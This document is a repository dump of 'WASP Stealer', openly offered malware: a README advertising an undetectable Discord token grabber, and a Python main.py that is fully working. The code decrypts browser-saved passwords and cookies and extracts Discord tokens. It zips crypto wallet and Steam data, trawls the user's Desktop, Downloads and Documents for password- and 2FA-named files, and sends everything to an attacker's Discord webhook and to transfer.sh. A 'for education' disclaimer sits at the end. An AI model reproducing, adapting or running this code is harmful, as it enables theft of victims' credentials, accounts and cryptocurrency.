├── README.md └── main.py /README.md: -------------------------------------------------------------------------------- 1 |

2 | 🐝 WASP Stealer (Discord Token Grabber) 🐝 3 |

4 | They sell this for 30$💀 5 |

6 | 7 | 8 | 9 |

10 | 11 | ## 〢 Content 12 | 13 | - [📁 Setting up](#setup) 14 | - [⚔️ Features](#features) 15 | - [📸 Screenshots](#screenshot) 16 | - [⚠️ Note](#note) 17 | 18 | ### 〢 Setting Up 19 | 20 | > Put ur webhook at hook = "" 21 | > and run main.py 22 | 23 | 24 | 25 | --- 26 | 27 | ### 〢 Features 28 | 29 | #### Stealer 30 | 31 | > FUD (Fully Undetectable) 32 | 33 | > Password / Cookies 34 | - Steal Saved Passwords 35 | - Steal Brower Cookies 36 | 37 | > Wallet Stealer 38 | - Steal Metamask wallets 39 | - Steal Exodus Wallet 40 | - Steal Atomic Wallet 41 | 42 | > Discord 43 | - Steal Discord Tokens from browsers 44 | - Steal Discord Token from discord, discordcanary, discordPTBa 45 | 46 | > Gaming 47 | - Steal Steam Launcher accounts 48 | - Steal Nation Glory Launcher accounts 49 | 50 | > File Stealer 51 | - Search User PC for Passwords, 2Fa codes, tokens, wallets... 52 | - Browsers: Opera, Chrome, Brave, Yandex, Edge 53 | 54 | ### 〢 Screenshots 55 | 56 |

57 | 58 | 59 | 60 |

61 | 62 | ### 〢 Note 63 | 64 | I am not responsible for any damages this software may cause. This was made for personal education. 65 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import os 2 | import threading 3 | from sys import executable 4 | from sqlite3 import connect as sql_connect 5 | import re 6 | from base64 import b64decode 7 | from json import loads as json_loads, load 8 | from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer 9 | from urllib.request import Request, urlopen 10 | from json import loads, dumps 11 | import time 12 | import shutil 13 | from zipfile import ZipFile 14 | import random 15 | import re 16 | import subprocess 17 | 18 | # THIS IS 1.1.4 VERSION! 19 | # 20 | # 21 | 22 | 23 | hook = "" 24 | DETECTED = False 25 | 26 | 27 | def getip(): 28 | ip = "None" 29 | try: 30 | ip = urlopen(Request("https://api.ipify.org")).read().decode().strip() 31 | except: 32 | pass 33 | return ip 34 | 35 | requirements = [ 36 | ["requests", "requests"], 37 | ["Crypto.Cipher", "pycryptodome"] 38 | ] 39 | for modl in requirements: 40 | try: __import__(modl[0]) 41 | except: 42 | subprocess.Popen(f"{executable} -m pip install {modl[1]}", shell=True) 43 | time.sleep(3) 44 | 45 | import requests 46 | from Crypto.Cipher import AES 47 | 48 | local = os.getenv('LOCALAPPDATA') 49 | roaming = os.getenv('APPDATA') 50 | temp = os.getenv("TEMP") 51 | Threadlist = [] 52 | 53 | 54 | class DATA_BLOB(Structure): 55 | _fields_ = [ 56 | ('cbData', wintypes.DWORD), 57 | ('pbData', POINTER(c_char)) 58 | ] 59 | 60 | def GetData(blob_out): 61 | cbData = int(blob_out.cbData) 62 | pbData = blob_out.pbData 63 | buffer = c_buffer(cbData) 64 | cdll.msvcrt.memcpy(buffer, pbData, cbData) 65 | windll.kernel32.LocalFree(pbData) 66 | return buffer.raw 67 | 68 | def CryptUnprotectData(encrypted_bytes, entropy=b''): 69 | buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes)) 70 | buffer_entropy = c_buffer(entropy, len(entropy)) 71 | blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in) 72 | blob_entropy = DATA_BLOB(len(entropy), buffer_entropy) 73 | blob_out = DATA_BLOB() 74 | 75 | if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)): 76 | return GetData(blob_out) 77 | 78 | def DecryptValue(buff, master_key=None): 79 | starts = buff.decode(encoding='utf8', errors='ignore')[:3] 80 | if starts == 'v10' or starts == 'v11': 81 | iv = buff[3:15] 82 | payload = buff[15:] 83 | cipher = AES.new(master_key, AES.MODE_GCM, iv) 84 | decrypted_pass = cipher.decrypt(payload) 85 | decrypted_pass = decrypted_pass[:-16].decode() 86 | return decrypted_pass 87 | 88 | def LoadRequests(methode, url, data='', files='', headers=''): 89 | for i in range(8): # max trys 90 | try: 91 | if methode == 'POST': 92 | if data != '': 93 | r = requests.post(url, data=data) 94 | if r.status_code == 200: 95 | return r 96 | elif files != '': 97 | r = requests.post(url, files=files) 98 | if r.status_code == 200 or r.status_code == 413: # 413 = DATA TO BIG 99 | return r 100 | except: 101 | pass 102 | 103 | def LoadUrlib(hook, data='', files='', headers=''): 104 | for i in range(8): 105 | try: 106 | if headers != '': 107 | r = urlopen(Request(hook, data=data, headers=headers)) 108 | return r 109 | else: 110 | r = urlopen(Request(hook, data=data)) 111 | return r 112 | except: 113 | pass 114 | 115 | 116 | def Trust(Cookies): 117 | # simple Trust Factor system 118 | global DETECTED 119 | data = str(Cookies) 120 | tim = re.findall(".google.com", data) 121 | # print(len(tim)) 122 | if len(tim) < -1: 123 | DETECTED = True 124 | return DETECTED 125 | else: 126 | DETECTED = False 127 | return DETECTED 128 | 129 | def GetBilling(token): 130 | headers = { 131 | "Authorization": token, 132 | "Content-Type": "application/json", 133 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" 134 | } 135 | try: 136 | billingjson = loads(urlopen(Request("https://discord.com/api/users/@me/billing/payment-sources", headers=headers)).read().decode()) 137 | except: 138 | return False 139 | 140 | if billingjson == []: return " -" 141 | 142 | billing = "" 143 | for methode in billingjson: 144 | if methode["invalid"] == False: 145 | if methode["type"] == 1: 146 | billing += ":credit_card:" 147 | elif methode["type"] == 2: 148 | billing += ":parking: " 149 | 150 | return billing 151 | 152 | 153 | def GetBadge(flags): 154 | if flags == 0: return '' 155 | 156 | OwnedBadges = '' 157 | badgeList = [ 158 | {"Name": 'Early_Verified_Bot_Developer', 'Value': 131072, 'Emoji': "<:developer:874750808472825986> "}, 159 | {"Name": 'Bug_Hunter_Level_2', 'Value': 16384, 'Emoji': "<:bughunter_2:874750808430874664> "}, 160 | {"Name": 'Early_Supporter', 'Value': 512, 'Emoji': "<:early_supporter:874750808414113823> "}, 161 | {"Name": 'House_Balance', 'Value': 256, 'Emoji': "<:balance:874750808267292683> "}, 162 | {"Name": 'House_Brilliance', 'Value': 128, 'Emoji': "<:brilliance:874750808338608199> "}, 163 | {"Name": 'House_Bravery', 'Value': 64, 'Emoji': "<:bravery:874750808388952075> "}, 164 | {"Name": 'Bug_Hunter_Level_1', 'Value': 8, 'Emoji': "<:bughunter_1:874750808426692658> "}, 165 | {"Name": 'HypeSquad_Events', 'Value': 4, 'Emoji': "<:hypesquad_events:874750808594477056> "}, 166 | {"Name": 'Partnered_Server_Owner', 'Value': 2,'Emoji': "<:partner:874750808678354964> "}, 167 | {"Name": 'Discord_Employee', 'Value': 1, 'Emoji': "<:staff:874750808728666152> "} 168 | 169 | ] 170 | for badge in badgeList: 171 | if flags // badge["Value"] != 0: 172 | OwnedBadges += badge["Emoji"] 173 | flags = flags % badge["Value"] 174 | 175 | return OwnedBadges 176 | 177 | def GetTokenInfo(token): 178 | headers = { 179 | "Authorization": token, 180 | "Content-Type": "application/json", 181 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" 182 | } 183 | 184 | userjson = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)).read().decode()) 185 | username = userjson["username"] 186 | hashtag = userjson["discriminator"] 187 | email = userjson["email"] 188 | idd = userjson["id"] 189 | pfp = userjson["avatar"] 190 | flags = userjson["public_flags"] 191 | nitro = "" 192 | phone = "-" 193 | 194 | if "premium_type" in userjson: 195 | nitrot = userjson["premium_type"] 196 | if nitrot == 1: 197 | nitro = "<:classic:896119171019067423> " 198 | elif nitrot == 2: 199 | nitro = " <:classic:896119171019067423> " 200 | if "phone" in userjson: phone = f'`{userjson["phone"]}`' 201 | 202 | return username, hashtag, email, idd, pfp, flags, nitro, phone 203 | 204 | def checkToken(token): 205 | headers = { 206 | "Authorization": token, 207 | "Content-Type": "application/json", 208 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" 209 | } 210 | try: 211 | urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)) 212 | return True 213 | except: 214 | return False 215 | 216 | 217 | def uploadToken(token, path): 218 | global hook 219 | headers = { 220 | "Content-Type": "application/json", 221 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" 222 | } 223 | username, hashtag, email, idd, pfp, flags, nitro, phone = GetTokenInfo(token) 224 | 225 | if pfp == None: 226 | pfp = "https://cdn.discordapp.com/attachments/971769033496076348/1018558042402476143/manny_in_floatie.jpg" 227 | else: 228 | pfp = f"https://cdn.discordapp.com/avatars/{idd}/{pfp}" 229 | 230 | billing = GetBilling(token) 231 | badge = GetBadge(flags) 232 | if not billing: 233 | badge, phone, billing = "🔒", "🔒", "🔒" 234 | if nitro == '' and badge == '': nitro = " -" 235 | 236 | data = { 237 | "content": f'Found in `{path}`', 238 | "embeds": [ 239 | { 240 | "color": 14406413, 241 | "fields": [ 242 | { 243 | "name": ":rocket: Token:", 244 | "value": f"`{token}`\n[Click to copy](https://superfurrycdn.nl/copy/{token})" 245 | }, 246 | { 247 | "name": ":envelope: Email:", 248 | "value": f"`{email}`", 249 | "inline": True 250 | }, 251 | { 252 | "name": ":mobile_phone: Phone:", 253 | "value": f"{phone}", 254 | "inline": True 255 | }, 256 | { 257 | "name": ":globe_with_meridians: IP:", 258 | "value": f"`{getip()}`", 259 | "inline": True 260 | }, 261 | { 262 | "name": ":beginner: Badges:", 263 | "value": f"{nitro}{badge}", 264 | "inline": True 265 | }, 266 | { 267 | "name": ":credit_card: Billing:", 268 | "value": f"{billing}", 269 | "inline": True 270 | } 271 | ], 272 | "author": { 273 | "name": f"{username}#{hashtag} ({idd})", 274 | "icon_url": f"{pfp}" 275 | }, 276 | "footer": { 277 | "text": "@ACEE STEALER", 278 | "icon_url": "https://cdn.discordapp.com/attachments/971769033496076348/1018558042402476143/manny_in_floatie.jpg" 279 | }, 280 | "thumbnail": { 281 | "url": f"{pfp}" 282 | } 283 | } 284 | ], 285 | "avatar_url": "https://cdn.discordapp.com/attachments/971769033496076348/1018558042402476143/manny_in_floatie.jpg", 286 | "username": "ACEE Stealer", 287 | "attachments": [] 288 | } 289 | # urlopen(Request(hook, data=dumps(data).encode(), headers=headers)) 290 | LoadUrlib(hook, data=dumps(data).encode(), headers=headers) 291 | 292 | def Reformat(listt): 293 | e = re.findall("(\w+[a-z])",listt) 294 | while "https" in e: e.remove("https") 295 | while "com" in e: e.remove("com") 296 | while "net" in e: e.remove("net") 297 | return list(set(e)) 298 | 299 | def upload(name, tk=''): 300 | headers = { 301 | "Content-Type": "application/json", 302 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0" 303 | } 304 | 305 | if name == "kiwi": 306 | data = { 307 | "content": '', 308 | "embeds": [ 309 | { 310 | "color": 14406413, 311 | "fields": [ 312 | { 313 | "name": "Interesting files found on user PC:", 314 | "value": tk 315 | } 316 | ], 317 | "author": { 318 | "name": "ACEE | File Stealer" 319 | }, 320 | "footer": { 321 | "text": "@ACEE STEALER", 322 | "icon_url": "https://cdn.discordapp.com/attachments/971769033496076348/1018558042402476143/manny_in_floatie.jpg" 323 | } 324 | } 325 | ], 326 | "avatar_url": "https://cdn.discordapp.com/attachments/971769033496076348/1018558042402476143/manny_in_floatie.jpg", 327 | "attachments": [] 328 | } 329 | # urlopen(Request(hook, data=dumps(data).encode(), headers=headers)) 330 | LoadUrlib(hook, data=dumps(data).encode(), headers=headers) 331 | return 332 | 333 | path = name 334 | files = {'file': open(path, 'rb')} 335 | # print(f"FILE= {files}") 336 | 337 | if "wppassw" in name: 338 | 339 | ra = ' | '.join(da for da in paswWords) 340 | 341 | if len(ra) > 1000: 342 | rrr = Reformat(str(paswWords)) 343 | ra = ' | '.join(da for da in rrr) 344 | 345 | data = { 346 | "content": '', 347 | "embeds": [ 348 | { 349 | "color": 14406413, 350 | "fields": [ 351 | { 352 | "name": "Found:", 353 | "value": ra 354 | } 355 | ], 356 | "author": { 357 | "name": "ACEE | Password Stealer" 358 | }, 359 | "footer": { 360 | "text": "@ACEE STEALER", 361 | "icon_url": "https://cdn.discordapp.com/attachments/963114349877162004/992245751247806515/unknown.png" 362 | } 363 | } 364 | ], 365 | "avatar_url": "https://cdn.discordapp.com/attachments/963114349877162004/992245751247806515/unknown.png", 366 | "attachments": [] 367 | } 368 | # urlopen(Request(hook, data=dumps(data).encode(), headers=headers)) 369 | LoadUrlib(hook, data=dumps(data).encode(), headers=headers) 370 | 371 | if "wpcook" in name: 372 | rb = ' | '.join(da for da in cookiWords) 373 | if len(rb) > 1000: 374 | rrrrr = Reformat(str(cookiWords)) 375 | rb = ' | '.join(da for da in rrrrr) 376 | 377 | data = { 378 | "content": '', 379 | "embeds": [ 380 | { 381 | "color": 14406413, 382 | "fields": [ 383 | { 384 | "name": "Found:", 385 | "value": rb 386 | } 387 | ], 388 | "author": { 389 | "name": "ACEE | Cookies Stealer" 390 | }, 391 | "footer": { 392 | "text": "@ACEE STEALER", 393 | "icon_url": "https://cdn.discordapp.com/attachments/963114349877162004/992245751247806515/unknown.png" 394 | } 395 | } 396 | ], 397 | "avatar_url": "https://cdn.discordapp.com/attachments/963114349877162004/992245751247806515/unknown.png", 398 | "attachments": [] 399 | } 400 | # urlopen(Request(hook, data=dumps(data).encode(), headers=headers)) 401 | LoadUrlib(hook, data=dumps(data).encode(), headers=headers) 402 | 403 | # r = requests.post(hook, files=files) 404 | LoadRequests("POST", hook, files=files) 405 | 406 | def writeforfile(data, name): 407 | path = os.getenv("TEMP") + f"\wp{name}.txt" 408 | with open(path, mode='w', encoding='utf-8') as f: 409 | f.write(f"<--ACEE STEALER ON TOP-->\n\n") 410 | for line in data: 411 | if line[0] != '': 412 | f.write(f"{line}\n") 413 | 414 | Tokens = '' 415 | def getToken(path, arg): 416 | if not os.path.exists(path): return 417 | 418 | path += arg 419 | for file in os.listdir(path): 420 | if file.endswith(".log") or file.endswith(".ldb") : 421 | for line in [x.strip() for x in open(f"{path}\\{file}", errors="ignore").readlines() if x.strip()]: 422 | for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"): 423 | for token in re.findall(regex, line): 424 | global Tokens 425 | if checkToken(token): 426 | if not token in Tokens: 427 | # print(token) 428 | Tokens += token 429 | uploadToken(token, path) 430 | 431 | Passw = [] 432 | def getPassw(path, arg): 433 | global Passw 434 | if not os.path.exists(path): return 435 | 436 | pathC = path + arg + "/Login Data" 437 | if os.stat(pathC).st_size == 0: return 438 | 439 | tempfold = temp + "wp" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db" 440 | 441 | shutil.copy2(pathC, tempfold) 442 | conn = sql_connect(tempfold) 443 | cursor = conn.cursor() 444 | cursor.execute("SELECT action_url, username_value, password_value FROM logins;") 445 | data = cursor.fetchall() 446 | cursor.close() 447 | conn.close() 448 | os.remove(tempfold) 449 | 450 | pathKey = path + "/Local State" 451 | with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read()) 452 | master_key = b64decode(local_state['os_crypt']['encrypted_key']) 453 | master_key = CryptUnprotectData(master_key[5:]) 454 | 455 | for row in data: 456 | if row[0] != '': 457 | for wa in keyword: 458 | old = wa 459 | if "https" in wa: 460 | tmp = wa 461 | wa = tmp.split('[')[1].split(']')[0] 462 | if wa in row[0]: 463 | if not old in paswWords: paswWords.append(old) 464 | Passw.append(f"UR1: {row[0]} | U53RN4M3: {row[1]} | P455W0RD: {DecryptValue(row[2], master_key)}") 465 | # print([row[0], row[1], DecryptValue(row[2], master_key)]) 466 | writeforfile(Passw, 'passw') 467 | 468 | Cookies = [] 469 | def getCookie(path, arg): 470 | global Cookies 471 | if not os.path.exists(path): return 472 | 473 | pathC = path + arg + "/Cookies" 474 | if os.stat(pathC).st_size == 0: return 475 | 476 | tempfold = temp + "wp" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db" 477 | 478 | shutil.copy2(pathC, tempfold) 479 | conn = sql_connect(tempfold) 480 | cursor = conn.cursor() 481 | cursor.execute("SELECT host_key, name, encrypted_value FROM cookies") 482 | data = cursor.fetchall() 483 | cursor.close() 484 | conn.close() 485 | os.remove(tempfold) 486 | 487 | pathKey = path + "/Local State" 488 | 489 | with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read()) 490 | master_key = b64decode(local_state['os_crypt']['encrypted_key']) 491 | master_key = CryptUnprotectData(master_key[5:]) 492 | 493 | for row in data: 494 | if row[0] != '': 495 | for wa in keyword: 496 | old = wa 497 | if "https" in wa: 498 | tmp = wa 499 | wa = tmp.split('[')[1].split(']')[0] 500 | if wa in row[0]: 501 | if not old in cookiWords: cookiWords.append(old) 502 | Cookies.append(f"H057 K3Y: {row[0]} | N4M3: {row[1]} | V41U3: {DecryptValue(row[2], master_key)}") 503 | # print([row[0], row[1], DecryptValue(row[2], master_key)]) 504 | writeforfile(Cookies, 'cook') 505 | 506 | def GetDiscord(path, arg): 507 | if not os.path.exists(f"{path}/Local State"): return 508 | 509 | pathC = path + arg 510 | 511 | pathKey = path + "/Local State" 512 | with open(pathKey, 'r', encoding='utf-8') as f: local_state = json_loads(f.read()) 513 | master_key = b64decode(local_state['os_crypt']['encrypted_key']) 514 | master_key = CryptUnprotectData(master_key[5:]) 515 | # print(path, master_key) 516 | 517 | for file in os.listdir(pathC): 518 | # print(path, file) 519 | if file.endswith(".log") or file.endswith(".ldb") : 520 | for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines() if x.strip()]: 521 | for token in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line): 522 | global Tokens 523 | tokenDecoded = DecryptValue(b64decode(token.split('dQw4w9WgXcQ:')[1]), master_key) 524 | if checkToken(tokenDecoded): 525 | if not tokenDecoded in Tokens: 526 | # print(token) 527 | Tokens += tokenDecoded 528 | # writeforfile(Tokens, 'tokens') 529 | uploadToken(tokenDecoded, path) 530 | 531 | 532 | def ZipThings(path, arg, procc): 533 | pathC = path 534 | name = arg 535 | # subprocess.Popen(f"taskkill /im {procc} /t /f", shell=True) 536 | # os.system(f"taskkill /im {procc} /t /f") 537 | 538 | if "nkbihfbeogaeaoehlefnkodbefgpgknn" in arg: 539 | browser = path.split("\\")[4].split("/")[1].replace(' ', '') 540 | name = f"Metamask_{browser}" 541 | pathC = path + arg 542 | 543 | if not os.path.exists(pathC): return 544 | subprocess.Popen(f"taskkill /im {procc} /t /f", shell=True) 545 | 546 | if "Wallet" in arg or "NationsGlory" in arg: 547 | browser = path.split("\\")[4].split("/")[1].replace(' ', '') 548 | name = f"{browser}" 549 | 550 | elif "Steam" in arg: 551 | if not os.path.isfile(f"{pathC}/loginusers.vdf"): return 552 | f = open(f"{pathC}/loginusers.vdf", "r+", encoding="utf8") 553 | data = f.readlines() 554 | # print(data) 555 | found = False 556 | for l in data: 557 | if 'RememberPassword"\t\t"1"' in l: 558 | found = True 559 | if found == False: return 560 | name = arg 561 | 562 | zf = ZipFile(f"{pathC}/{name}.zip", "w") 563 | for file in os.listdir(pathC): 564 | if not ".zip" in file: zf.write(pathC + "/" + file) 565 | zf.close() 566 | 567 | upload(f'{pathC}/{name}.zip') 568 | os.remove(f"{pathC}/{name}.zip") 569 | 570 | 571 | def GatherAll(): 572 | ' Default Path < 0 > ProcesName < 1 > Token < 2 > Password < 3 > Cookies < 4 > Extentions < 5 > ' 573 | browserPaths = [ 574 | [f"{roaming}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], 575 | [f"{roaming}/Opera Software/Opera Stable", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], 576 | [f"{roaming}/Opera Software/Opera Neon/User Data/Default", "opera.exe", "/Local Storage/leveldb", "/", "/Network", "/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], 577 | [f"{local}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], 578 | [f"{local}/Google/Chrome SxS/User Data", "chrome.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], 579 | [f"{local}/BraveSoftware/Brave-Browser/User Data", "brave.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ], 580 | [f"{local}/Yandex/YandexBrowser/User Data", "yandex.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/HougaBouga/nkbihfbeogaeaoehlefnkodbefgpgknn" ], 581 | [f"{local}/Microsoft/Edge/User Data", "edge.exe", "/Default/Local Storage/leveldb", "/Default", "/Default/Network", "/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn" ] 582 | ] 583 | 584 | discordPaths = [ 585 | [f"{roaming}/Discord", "/Local Storage/leveldb"], 586 | [f"{roaming}/Lightcord", "/Local Storage/leveldb"], 587 | [f"{roaming}/discordcanary", "/Local Storage/leveldb"], 588 | [f"{roaming}/discordptb", "/Local Storage/leveldb"], 589 | ] 590 | 591 | PathsToZip = [ 592 | [f"{roaming}/atomic/Local Storage/leveldb", '"Atomic Wallet.exe"', "Wallet"], 593 | [f"{roaming}/Exodus/exodus.wallet", "Exodus.exe", "Wallet"], 594 | ["C:\Program Files (x86)\Steam\config", "steam.exe", "Steam"], 595 | [f"{roaming}/NationsGlory/Local Storage/leveldb", "NationsGlory.exe", "NationsGlory"] 596 | ] 597 | 598 | for patt in browserPaths: 599 | a = threading.Thread(target=getToken, args=[patt[0], patt[2]]) 600 | a.start() 601 | Threadlist.append(a) 602 | for patt in discordPaths: 603 | a = threading.Thread(target=GetDiscord, args=[patt[0], patt[1]]) 604 | a.start() 605 | Threadlist.append(a) 606 | 607 | for patt in browserPaths: 608 | a = threading.Thread(target=getPassw, args=[patt[0], patt[3]]) 609 | a.start() 610 | Threadlist.append(a) 611 | 612 | ThCokk = [] 613 | for patt in browserPaths: 614 | a = threading.Thread(target=getCookie, args=[patt[0], patt[4]]) 615 | a.start() 616 | ThCokk.append(a) 617 | 618 | for thread in ThCokk: thread.join() 619 | DETECTED = Trust(Cookies) 620 | if DETECTED == True: return 621 | 622 | for patt in browserPaths: 623 | threading.Thread(target=ZipThings, args=[patt[0], patt[5], patt[1]]).start() 624 | 625 | for patt in PathsToZip: 626 | threading.Thread(target=ZipThings, args=[patt[0], patt[2], patt[1]]).start() 627 | 628 | for thread in Threadlist: 629 | thread.join() 630 | global upths 631 | upths = [] 632 | 633 | for file in ["wppassw.txt", "wpcook.txt"]: 634 | upload(os.getenv("TEMP") + "\\" + file) 635 | 636 | def uploadToAnonfiles(path): 637 | try: 638 | files = { "file": (path, open(path, mode='rb')) } 639 | ... 640 | upload = requests.post("https://transfer.sh/", files=files) 641 | url = upload.text 642 | return url 643 | except: 644 | return False 645 | 646 | def KiwiFolder(pathF, keywords): 647 | global KiwiFiles 648 | maxfilesperdir = 7 649 | i = 0 650 | listOfFile = os.listdir(pathF) 651 | ffound = [] 652 | for file in listOfFile: 653 | if not os.path.isfile(pathF + "/" + file): return 654 | i += 1 655 | if i <= maxfilesperdir: 656 | url = uploadToAnonfiles(pathF + "/" + file) 657 | ffound.append([pathF + "/" + file, url]) 658 | else: 659 | break 660 | KiwiFiles.append(["folder", pathF + "/", ffound]) 661 | 662 | KiwiFiles = [] 663 | def KiwiFile(path, keywords): 664 | global KiwiFiles 665 | fifound = [] 666 | listOfFile = os.listdir(path) 667 | for file in listOfFile: 668 | for worf in keywords: 669 | if worf in file.lower(): 670 | if os.path.isfile(path + "/" + file) and ".txt" in file: 671 | fifound.append([path + "/" + file, uploadToAnonfiles(path + "/" + file)]) 672 | break 673 | if os.path.isdir(path + "/" + file): 674 | target = path + "/" + file 675 | KiwiFolder(target, keywords) 676 | break 677 | 678 | KiwiFiles.append(["folder", path, fifound]) 679 | 680 | def Kiwi(): 681 | user = temp.split("\AppData")[0] 682 | path2search = [ 683 | user + "/Desktop", 684 | user + "/Downloads", 685 | user + "/Documents" 686 | ] 687 | 688 | key_wordsFolder = [ 689 | "account", 690 | "acount", 691 | "passw", 692 | "secret" 693 | 694 | ] 695 | 696 | key_wordsFiles = [ 697 | "passw", 698 | "mdp", 699 | "motdepasse", 700 | "mot_de_passe", 701 | "login", 702 | "secret", 703 | "account", 704 | "acount", 705 | "paypal", 706 | "banque", 707 | "account", 708 | "metamask", 709 | "wallet", 710 | "crypto", 711 | "exodus", 712 | "discord", 713 | "2fa", 714 | "code", 715 | "memo", 716 | "compte", 717 | "token", 718 | "backup", 719 | "seecret" 720 | ] 721 | 722 | wikith = [] 723 | for patt in path2search: 724 | kiwi = threading.Thread(target=KiwiFile, args=[patt, key_wordsFiles]);kiwi.start() 725 | wikith.append(kiwi) 726 | return wikith 727 | 728 | 729 | global keyword, cookiWords, paswWords 730 | 731 | keyword = [ 732 | 'mail', '[coinbase](https://coinbase.com)', '[sellix](https://sellix.io)', '[gmail](https://gmail.com)', '[steam](https://steam.com)', '[discord](https://discord.com)', '[riotgames](https://riotgames.com)', '[youtube](https://youtube.com)', '[instagram](https://instagram.com)', '[tiktok](https://tiktok.com)', '[twitter](https://twitter.com)', '[facebook](https://facebook.com)', 'card', '[epicgames](https://epicgames.com)', '[spotify](https://spotify.com)', '[yahoo](https://yahoo.com)', '[roblox](https://roblox.com)', '[twitch](https://twitch.com)', '[minecraft](https://minecraft.net)', 'bank', '[paypal](https://paypal.com)', '[origin](https://origin.com)', '[amazon](https://amazon.com)', '[ebay](https://ebay.com)', '[aliexpress](https://aliexpress.com)', '[playstation](https://playstation.com)', '[hbo](https://hbo.com)', '[xbox](https://xbox.com)', 'buy', 'sell', '[binance](https://binance.com)', '[hotmail](https://hotmail.com)', '[outlook](https://outlook.com)', '[crunchyroll](https://crunchyroll.com)', '[telegram](https://telegram.com)', '[pornhub](https://pornhub.com)', '[disney](https://disney.com)', '[expressvpn](https://expressvpn.com)', 'crypto', '[uber](https://uber.com)', '[netflix](https://netflix.com)' 733 | ] 734 | 735 | 736 | cookiWords = [] 737 | paswWords = [] 738 | 739 | GatherAll() 740 | DETECTED = Trust(Cookies) 741 | 742 | if not DETECTED: 743 | wikith = Kiwi() 744 | 745 | for thread in wikith: thread.join() 746 | time.sleep(0.2) 747 | 748 | filetext = "\n" 749 | for arg in KiwiFiles: 750 | if len(arg[2]) != 0: 751 | foldpath = arg[1] 752 | foldlist = arg[2] 753 | filetext += f"• {foldpath}\n" 754 | 755 | for ffil in foldlist: 756 | a = ffil[0].split("/") 757 | fileanme = a[len(a)-1] 758 | b = ffil[1] 759 | filetext += f"... [{fileanme}]({b})\n" 760 | filetext += "\n" 761 | upload("kiwi", filetext) 762 | --------------------------------------------------------------------------------